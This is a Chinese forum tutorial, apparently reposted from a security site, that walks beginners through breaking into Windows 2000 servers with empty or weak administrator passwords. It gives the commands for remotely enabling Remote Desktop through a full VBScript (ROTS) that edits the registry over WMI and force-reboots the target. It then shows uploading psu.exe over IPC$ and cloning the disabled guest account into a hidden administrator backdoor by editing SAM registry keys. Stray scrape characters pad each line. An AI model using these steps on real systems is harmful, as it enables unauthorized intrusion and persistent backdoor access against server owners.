|
一次简单的3389入侵过程 8 A7 [" D3 v# B# s( z
原创:caozhe(草哲) " u! H1 q* g; u4 u4 \
来源:中国欲网技术论坛--草哲
8 c* P/ u c% F( G9 @5 Y , k2 X! x( i6 m" V2 s
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!# R2 y! E5 A% Z6 i% B! \
, f: ]0 y# _- ]: o# s& V
于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!( q" Y* o- C5 i7 c) K+ c
要入侵,我建议你在win2000环境下来*作!
, T: f. X" X6 A3 t0 f* x. J. _7 J1 O u
首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
0 E: \! B5 F* O1 z( Y; l" w扫描的X-Scan V2.3、WINNTAutoAttack、流光!
9 e2 J) ~& N" T, P+ Y" TX-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
- w! \2 v6 c4 I/ R- e, a! J5 z远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)
' }. l) q' E; s8 s! r0 h克隆帐户用个psu就可以了~!
+ t1 h1 A# Z: L+ Y: k# z* `7 y4 s0 W7 a. h$ M
OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空. r: q/ m) C, ?1 o9 ]! r' Y
运行CMD(2000下的DOS),我们给它开终端!' ]/ K/ `0 i- J& A- l
命令如下!
( N1 M2 J8 I3 K2 G9 B Rcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr5 j. [6 S; A3 T, h, m) ]
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
e. E: I! x0 j$ T9 v7 v2 Y5 A' d* s3 \8 L4 V. G
因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!5 o: t9 \* A6 B7 l" ~
( a' q4 [! w0 m: t6 r一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t- W; d2 M7 a' w" P: u5 M
安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!
0 N# X& p( o7 t: f6 h, Z4 c( F; g5 k! O( T* c; E! w% c
回到DOS下!我们建立IPC$连接!, f" ?% x. S# G7 m; N
net use \\120.0.0.1\ipc$ "" /user:"administrator"1 c- O& L* w4 ~; B; j6 k
这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
; F3 `$ A) x9 L) T" f0 N2 O4 Rcopy psu.exe \\120.0.0.1\admin$\system32
# s1 \8 ?8 w) r+ v6 p上传完毕后,开始在肉鸡做后门帐户!看肉鸡!" }5 m4 H/ O7 z( q3 q
2 f' C$ N6 F9 ?! G) \( {% ~
假设guest用户被禁用,我们就是要利用guest做后门帐户!5 G v" I8 y1 k5 i
在该服务器运行CMD,在命令行下输入
+ Z |+ C: p: x0 N# ?psu -p regedit -i PID/ Q9 J; |; W2 s; t9 D
1 _" S( t8 F9 ^9 I' T
这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!( J+ U7 H' I9 z/ ]# Q5 l$ z
看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458
5 c8 t- z" z" u( K) } L那么,命令就是这样* [; ]' ~/ x. r7 O1 C
psu -p regedit -i 5458( H4 ^* @5 f Q& p6 t
这样直接打开注册表,可以读取本地sam的信息。
( V- f3 o- c$ Z8 p6 I6 e! a& P! `打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users. x/ k: F0 ]; `. @
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
9 N+ R. m. g% X! ]HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names. o( Y. K1 Z4 w$ }. \1 B
查看administrator的类型,是if4,再看guest的是if53 F$ ?1 V5 R* z# D5 |, D
好了,知道了类型后,打开
5 s! ^3 _2 y/ z. FHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F46 m$ d" _9 O( g6 b
这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开
$ Q' o; u4 _7 T. @HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
+ W3 a) T3 y# h5 V9 m双击右侧的F,把刚复制的粘贴到里面!( h" i8 a, v8 k3 L
8 w) V* c7 O$ i% F做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
+ D& z X, k G+ }/ P; u和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
9 `# Q4 u% j: a' F7 e4 k7 A这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。 a0 V$ ~: \# o0 s: T3 g
( `* F1 ^( j( R( Y
打开CMD,在命令行下输入. S) G4 N q! O9 V6 y8 y" c/ D
net user guest password
7 Q4 C* w0 j0 d1 n; u0 k- H% g这条命令是给guest设置密码,后面的password就是密码
' ~$ B0 R I3 t. [然后输入3 X: q* k: d, G( c8 ^4 K
net user guest /active:y
( y# a6 C) {) t. T7 f这命令是激活guest帐户,然后我们把他禁用& f: ?4 I! l6 z* p
net user guest /active:n5 ]" S2 j& H$ k, ]/ X
上面的三行命令必须在DOS下执行!+ e. d3 M2 ~4 N
" A! T9 W) ?& P5 R3 AOK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!: T7 e* q$ W$ R: R* \/ i
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!# H6 M% b/ O2 n- @( f" s( I5 M% N
4 V3 O1 P9 R2 D( H; J注销一下,用guest登陆吧!. {! Q- M. f. R7 P) z( q* @0 _
3 m, v% M* J# Q& ^打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!
% M5 P: |6 r1 ?1 D' q9 w: l如果还有地方不明白的话,可以问我,我知道的一定告诉大家!
+ U$ _* d; ^ _5 X! h# I8 c" |8 c; n: z) V) `
因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!
/ S0 X: K, n7 G& A0 X4 d1 m1 S9 `
0 t5 h$ F7 |; K----------------------------------------------------------------------) j$ M6 ]4 L7 |5 ]; F! o
以下是开终端的脚本,把它存为*.vbe
7 x" g# a4 d0 Kon error resume next. J1 a/ w: o6 } [+ F8 J& Y; \
set outstreem=wscript.stdout4 W3 F! g/ y* K4 @( s
set instreem=wscript.stdin$ O7 b3 c: \+ ?# b" }' ]
if (lcase(right(wscript.fullname,11))="wscript.exe") then
! Q7 m. h4 G) q: _: K set objShell=wscript.createObject("wscript.shell"): ]0 s q5 m. x3 b. Q0 j5 \
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
q L' E# s% |+ z8 x wscript.quit
+ h% j# X5 r6 Y1 [% iend if7 G' J( B9 J3 L
if wscript.arguments.count<3 then
' {- P0 H) ^; M+ O' \ usage()4 P- h6 K; m# |
wscript.echo "Not enough parameters."
" z5 I; W% m( Z( i$ B wscript.quit
0 i/ [& W! N/ j, W9 Gend if3 |% a3 L7 p, q6 R% ^9 u( M; {
; m1 P: I/ Q; t( c2 m( w
ipaddress=wscript.arguments(0)
* W2 l) O# v% `8 dusername=wscript.arguments(1): p! A% a. A1 B% m
password=wscript.arguments(2)/ V! V5 g/ I! T/ S3 g* J
if wscript.arguments.count>3 then
: m/ y3 U1 l/ F+ h! o+ q3 H: P port=wscript.arguments(3)3 v% M0 P4 y& d
else; q0 R! Q9 u' _! q- V% c$ D# h
port=3389
* U! m3 Y# F/ \: jend if
+ O$ L1 N& @; {: Iif not isnumeric(port) or port<1 or port>65000 then
3 D$ ?) m& f S1 Y2 r$ A wscript.echo "The number of port is error."
3 w9 N5 a! u. L G2 ]5 y wscript.quit' `+ S4 C! M( t6 V
end if4 o5 q. F M" g
if wscript.arguments.count>4 then
5 P5 W! e; z3 u5 ^ a reboot=wscript.arguments(4)
8 z* N) K% d. T+ Y5 X( k2 m; Jelse
" d* ?+ Z1 H" e- E reboot=""6 T7 E3 H m+ v) I8 z; K7 I7 e
end if$ P5 G$ [% T, i. ~
3 Y; w, V$ d0 q" @' k, N J
usage()1 ~0 {! x, f% U: J0 S
outstreem.write "Conneting "&ipaddress&" ...."
' b- }4 {; s l% L' K; yset objlocator=createobject("wbemscripting.swbemlocator")
) b3 c% W$ s7 A' _# qset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password); ~6 k! K, R+ W9 R5 S0 f
showerror(err.number)
' D; A0 a7 L# i8 @. h E6 D, F8 C' Gobjswbemservices.security_.privileges.add 23,true
4 ^ Z& r. Q7 p$ S' r8 Lobjswbemservices.security_.privileges.add 18,true
% E' G) ^. O, @$ E: t8 r! C+ w% c! u i$ C+ ]3 C8 R* S
outstreem.write "Checking OS type...."" T& ^1 c2 {/ X+ I- V
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")$ E% @7 S, B# |: K: E
for each objinstoscaption in colinstoscaption7 a- F1 h9 a/ Z5 k; x
if instr(objinstoscaption.caption,"Server")>0 then
2 k z" Z6 y8 q& ?/ \3 P wscript.echo "OK!"
- x, T$ x+ \. \5 ] D else
) ]4 M' q/ t2 @; c wscript.echo "OS type is "&objinstoscaption.caption+ r3 k- y. N* p* v
outstreem.write "Do you want to cancel setup?[y/n]"
o. ~: V- Z/ ~( `9 i strcancel=instreem.readline
x. x" b4 n, o' J- i6 g! | if lcase(strcancel)<>"n" then wscript.quit
% G& r( d/ e' }4 h; u% S' U* \ end if
8 C3 h1 |% z) P" v+ P6 Ynext
, a3 H( [, ^& k0 @5 T3 E
* J9 Y# u3 H8 s0 T ~* P5 Z9 Loutstreem.write "Writing into registry ...."* x9 s( K2 Z/ U
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")7 H! B/ b2 [) ?: B
HKLM=&h80000002
% q& n" h5 ~. ^0 E& v7 Q9 eHKU=&h80000003
: r. r* q3 b5 b+ B4 @with objinstreg- e. r% O" ^8 X1 z. A& d+ U
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
' o( ~9 v& w: s& S; x2 ]% ].setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",07 A/ c( x7 A$ e4 F' J3 d
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"4 C k3 J" J+ p4 @
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1$ v1 L! Y5 z1 q
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 ?/ Q, u" ^; {
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2) S# a" r* Q8 @
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",23 K. u7 C3 Z4 U: D2 s# T3 }# h
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1": V: e, s; @( o
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
: o l2 @. P9 i# z+ I9 Wend with! F& l; r& H6 i. ^# ?! C# A
showerror(err.number)
) w% v% P: v1 o+ ^" s
5 Y# P9 H' }( J4 F7 j6 F, Y/ ?rebt=lcase(reboot)( p2 | O2 T" @( R
flag=0. g9 T/ j2 d* S7 q
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2
1 S9 B5 J1 E# }7 o bif rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6, |8 `/ @! U) P0 b! l2 N# J4 k; z
if flag<>0 then
2 b0 i" S! h. ]" L3 @/ c0 r1 ? outstreem.write "Now, reboot target...."
* V7 x; C: A4 \# N/ u3 I! b8 A strwqlquery="select * from win32_operatingsystem where primary='true'"9 ]1 Q/ q9 ? ?" k$ i8 }) M$ v
set colinstances=objswbemservices.execquery(strwqlquery)+ [2 o; x( `: r( a
for each objinstance in colinstances4 B3 s/ R: q/ B# A* O
objinstance.win32shutdown(flag)) D: p; z$ [9 w1 U$ n/ ~* ^% S' b
next
8 ^6 r# W1 H& Z* I+ N/ A showerror(err.number)
^1 s: @1 G1 | `3 Yelse
" Q |) x% s Z wscript.echo "You need to reboot target."&vbcrlf&"Then,"
( h; x E+ u% O. \+ o! U" p: t- Hend if
: p% V1 w; A2 |3 `- |' [4 Qwscript.echo "You can logon terminal services on "&port&" later. Good luck!"" A! b7 y6 u+ T5 [1 H6 L/ }1 \
( m( v! l, s0 j% H6 K' {$ wfunction showerror(errornumber)& P6 E3 s5 d; n# S) g" S
if errornumber Then
9 U7 b6 k% ]9 s4 Z8 V wscript.echo "Error 0x"&cstr(hex(err.number))&" ."/ R" V+ d% F6 y+ W3 w0 ?
if err.description <> "" then
% R" L' k7 m7 A3 F' }0 }8 m) s wscript.echo "Error description: "&err.description&"."
+ z/ Z4 ?# i$ _8 {4 D' X* C end if
( X. D; G0 j M5 c/ e8 K$ q wscript.quit% ~6 i- n+ P1 l# E/ R a
else3 ?' x/ C3 I0 a9 N
wscript.echo "OK!"6 M( L4 d( ?9 ]( }: B
end if
( p4 S- i8 I# \/ e, i7 \end function/ e; A2 V( }" ]
$ g2 @$ R5 ~& f0 k+ Y+ S9 M; P" M8 a
function usage()
. Y* q/ t: H& e2 ?( r9 swscript.echo string(79,"*")
. x: a h Q5 k* a1 ^' `5 o3 Ywscript.echo "ROTS v1.05"- M8 c" {8 F0 Y5 C5 y
wscript.echo "Remote Open Terminal services Script, by 草哲"2 x$ ~ z6 B+ ~8 r& C# a
wscript.echo "Welcome to visite www.5458.net"
$ I3 w% n" c2 H C5 n* b1 swscript.echo "Usage:"6 @4 ], ^ V5 G5 [7 Q
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
/ i* ^; ` h4 V& Bwscript.echo "port: default number is 3389."; T' B" f$ X5 R+ T1 w
wscript.echo "/r: auto reboot target."
7 Y1 t/ S* `2 b) o# N* [wscript.echo "/fr: auto force reboot target."% W3 A! X# a& Y3 H0 @ ~+ S8 |
wscript.echo string(79,"*")&vbcrlf2 a% t, l! b0 K! c) \8 I6 [ O
end function
1 o; n* C! \2 V2 @ 5 G k# Z+ i5 R- Q
转自安全焦点 |
|